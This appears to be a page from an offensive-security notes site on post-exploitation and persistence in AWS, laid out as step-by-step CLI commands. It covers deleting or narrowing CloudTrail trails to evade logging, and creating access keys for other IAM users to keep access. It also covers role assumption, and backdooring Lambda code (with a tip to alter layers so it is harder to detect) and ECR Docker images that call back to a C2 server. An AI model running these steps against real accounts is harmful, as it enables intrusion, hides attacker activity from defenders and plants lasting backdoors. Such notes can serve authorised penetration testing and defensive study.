Post-Exp & Persistence
- CloudTrail Disabling
This is a log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account.
To list trails:
aws cloudtrail list-trails
To disable CloudTrail:
aws cloudtrail delete-trail --name example_trail --profile name
To disable monitoring of events from global events:
aws cloudtrail update-trail --name example_trail --no-include-global-service-event
To disable CloudTrail on specific regions:
aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
- iam:CreateAccessKey Permissions
If User A has permissions to create access keys for other users, you can use this to persist access:
aws iam list-access-keys --user-name
aws iam create-access-key --username example_username
After obtaining the new access key, configure the AWS CLI to use these credentials under a specific profile:
aws configure --profile example_profile
To ensure the credentials are working and have the expected access:
aws sts get-caller-identity --profile example_profile
- sts:AssumeRole Permissions
When a user has the sts:AssumeRole permission, they can temporarily take on the security credentials of another IAM role within the same AWS account or even a different one (if there is a trust relationship established). This can be particularly useful for accessing resources like an S3 instance that the original user account does not have direct permission to access.
First, list all policies attached directly to a user, which can give insights into what permissions the user currently has:
aws iam list-attached-user-policies --user-name example_name
Then, retrieve detailed information about the policies:
aws iam get-policy --policy-arn ARN
aws iam list-policy-versions --policy-arn ARN
aws iam get-policy-version --policy-arn policy_arn --version-id ID
After that, list all roles available in the AWS environment to get a broad view of what roles might be assumable:
aws iam list-roles
Once located different roles, retrieve details about a specific one, particularly to check the trust relationships that define which entities (users or AWS services) can assume this role:
aws iam list-attached-role-policies --role-name role_name
Then, allow the user to assume the specified role and receive temporary security credentials. These credentials are limited in time but provide the permissions attached to the role during that period:
aws sts assume-role --role-arn role_arn --role-session-name session_name
After assuming the role, the temporary credentials obtained must be configured in the local environment:
export AWS_ACCESS_KEY_ID='NEW_ACCESS_KEY_ID'
export AWS_SECRET_KEY='NEW_SECRET_ACCESS_KEY'
export AWS_SESSION_TOKEN='NEW_SESSION_TOKEN'
This final command confirms the identity that the AWS CLI is currently operating under, verifying that the role assumption was successful and the new permissions are active:
aws sts get-caller-identity
- Lambda Functions (and REST APIs)
If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and then upload it again. Everytime the lambda executes, the malicious code will also execute.
! Try to update the code of layers (depedencies) instead of the actual lambda code so its harder to detect.
First, determine which AWS IAM user is running commands:
aws sts get-caller-identity
Then, check the managed policies attached to the user:
aws iam list-attached-user-policies --user-name <user_name>
Retrieve details about a specific IAM policy:
aws iam get-policy-version --policy-arn <arn> --version-id <ID>
Enumerate all Lambda functions within a specific AWS region:
aws lambda list-functions --region <region>
Fetch detailed information about a specified Lambda function:
aws lambda get-function --function-name <name>
Prior to modifying, download the function's code:
aws lambda get-function --function-name <name> --qualifier <qualifier>
Review the IAM policy attached to the Lambda function:
aws lambda get-policy --function-name <name> --profile <profile> --region <region>
List all available Rest APIs:
aws apigateway get-rest-apis
Fetch specifics of an API using its ID:
aws apigateway get-rest-api --rest-api-id <ID>
Retrieve information about API resources and methods:
aws apigateway get-resources --rest-api-id <ID>
aws apigateway get-method --rest-api-id <ApiID> --resource-id <ID> --http-method <method>
Inject malicious code or a backdoor into the Lambda function's code:
aws lambda update-function-code --function-name <function> --zip-file fileb://my-function.zip
Finally, execute the Lambda function to trigger the malicious code:
curl https://API-ID.execute-api.Region.amazonaws.com/Stage/Resource
- Docker Image Backdoor
It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our C2.
Enumerating the user:
aws sts get-caller-identity
Listing manager policies attached to the IAM role:
aws iam list-attached-role-policies --role-name name
Getting information about the version of the managed policy:
aws iam get-policy-version --policy-arn arn --version-id id
Getting information about the repositories in container registry:
aws ecr describe-repositories
Listing all images in the repository:
aws ecr list-images --repository-name name
Listing information about an image:
aws ecr describe-images --repository-name name --image-ids imageTag=Name
Authenticate the docker daemon to ECR:
aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address
Building images with backdoor:
docker build -t image_name
Tagging the docker image:
docker tag image_name ecr_addr:Image_Name
Pushing the image to ECR:
docker push ecr_addr:Image_Name
- Shell Persistance
If we have a shell in a EC2 for example, we can use any kind of Linux Backdoors.
Last updated